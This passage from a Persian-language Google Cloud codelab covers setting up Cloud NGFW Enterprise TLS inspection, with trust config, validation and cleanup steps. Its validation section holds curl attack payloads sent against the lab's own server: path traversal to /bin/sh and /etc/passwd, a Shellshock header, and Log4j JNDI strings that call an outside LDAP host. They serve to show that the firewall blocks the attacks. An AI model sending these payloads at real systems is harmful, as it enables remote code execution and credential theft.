curl https://$target_privateip --max-time 2

خروجی مورد انتظار:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

چرا این درخواست ناموفق بود؟ دلیلش این است که فایروال گواهی‌نامه‌ای از سرور دریافت می‌کند که هیچ اعتمادی به آن وجود ندارد. اگر این اتفاق بیفتد، یک گواهی خودامضا شده به کلاینت ارسال می‌کند. برای فعال کردن اعتماد، باید گواهی‌نامه CA را به عنوان بخشی از پیکربندی اعتماد اضافه کنیم.

به پوسته ابری برگردید.

۱۱. پیکربندی Trust Config

گواهی Root CA را دریافت کنید و آن را به عنوان یک متغیر با قالب‌بندی مناسب تنظیم کنید.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

فایل YAML مربوط به Trust Config را پیکربندی کنید. این فایل حاوی جزئیات مربوط به اعتماد مانند گواهی‌های CA است:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

دستورات بالا گواهی Root CA شما را به عنوان بخشی از حافظه اعتماد در نظر گرفته‌اند، زیرا گواهی سرور شما با استفاده از Root CA امضا شده است. این بدان معناست که فایروال به هر گواهی دریافتی که توسط Root CA شما امضا شده باشد، علاوه بر Public CAها، در صورتی که سیاست TLS شما excludePublicCaSet را روی false تنظیم کرده باشد، اعتماد خواهد کرد.

محتویات پیکربندی اعتماد را بررسی کنید.

cat trust_config.yaml 

خروجی نمونه:

به ترازبندی تورفتگی گواهی توجه ویژه داشته باشید. باید دقیقاً از این قالب پیروی کند.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

پیکربندی اعتماد را وارد کنید:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

فایل YAML مربوط به TLS Policy را به‌روزرسانی کنید تا پیکربندی اعتماد را شامل شود:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

خط‌مشی TLS به‌روزرسانی‌شده را وارد کنید:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

۱۲. اعتبارسنجی بازرسی TLS الکترونیکی/آبی

برای آزمایش ترافیک E/W با پیکربندی اعتماد به‌روزرسانی‌شده، از طریق SSH به کلاینت متصل شوید:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

درخواست TLS نمونه را به سرور اجرا کنید:

curl https://$target_privateip --max-time 2

اگر هنوز خروجی زیر را دریافت می‌کنید، لطفاً منتظر انتشار به‌روزرسانی‌ها باشید.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

خروجی مورد انتظار:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

ارسال ترافیک آزمایشی مخرب به سرور:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

خروجی مورد انتظار:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

هیچ پاسخی مطابق با خروجی مورد انتظار زیر دریافت نمی‌شود، که تأیید می‌کند حملات نمونه اکنون برای E/W مسدود شده‌اند.

۱۳. ثبت وقایع

از طریق کنسول ابری به Logging > Logs Explorer بروید، فیلتر زیر را وارد کنید و گزارش‌ها را جستجو کنید. [PROJECT_ID] را با project_id خود جایگزین کنید:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

ورودی‌های لاگ Cloud NGFW Enterprise باید مشابه زیر دیده شوند:

5b68cc1063c0f4bd.png

ورودی‌های گزارش را باز کنید و توجه داشته باشید که حملات ارسال شده از ماشین مجازی کلاینت به سرور شناسایی و مسدود شده‌اند ( آسیب‌پذیری اجرای کد از راه دور Apache Log4j مطابق تصویر زیر).

478f18f8481e90ed.png

شما با موفقیت Cloud NGFW Enterprise را به همراه TLS Inspection برای مسدود کردن درخواست‌های مخرب مستقر کرده‌اید.

برای مراحل پاکسازی به بخش بعدی بروید.

۱۴. مراحل پاکسازی

تمیز کردن تنظیمات پایه

موارد را حذف کنید:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

اگر نقش‌های tagAdmin و tagUsers تغییر کرده‌اند، مراحل زیر را انجام دهید:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

کلید و مقادیر Tag را حذف کنید:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

خط‌مشی شبکه و ارتباط فایروال ابری را حذف کنید:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

روتر ابری و NAT ابری را حذف کنید:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

حذف آدرس‌های IP رزرو شده:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

پاکسازی SPG، Association و TLS در فایروال ابری

گروه پروفایل امنیتی (Security Profile Group) و پروفایل تهدید (Threat Profile) را به ترتیب زیر حذف کنید:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

ارتباط نقطه پایانی Cloud Firewall را حذف کنید:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

حذف نقطه پایانی فایروال ابری، که می‌تواند حدود ۲۰ دقیقه طول بکشد:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

در صورت تمایل، با اجرای دستور زیر تأیید کنید که نقطه پایانی Cloud NGFW حذف شده است:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

وضعیت نقطه پایانی باید نشان دهد:

STATE: DELETING

پس از تکمیل، نقطه پایانی دیگر فهرست نخواهد شد.

خط‌مشی TLS و پیکربندی اعتماد را به این ترتیب حذف کنید:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

غیرفعال کردن و حذف Root CA و CA Pool:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

پاکسازی زیرشبکه و VPC

در نهایت، زیرشبکه و شبکه VPC را حذف کنید:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

۱۵. تبریک می‌گویم!

تبریک می‌گوییم، شما با موفقیت پروژه Cloud NGFW Enterprise را برای آزمایشگاه کد بازرسی TLS در شرق-غرب و شمال به پایان رساندید.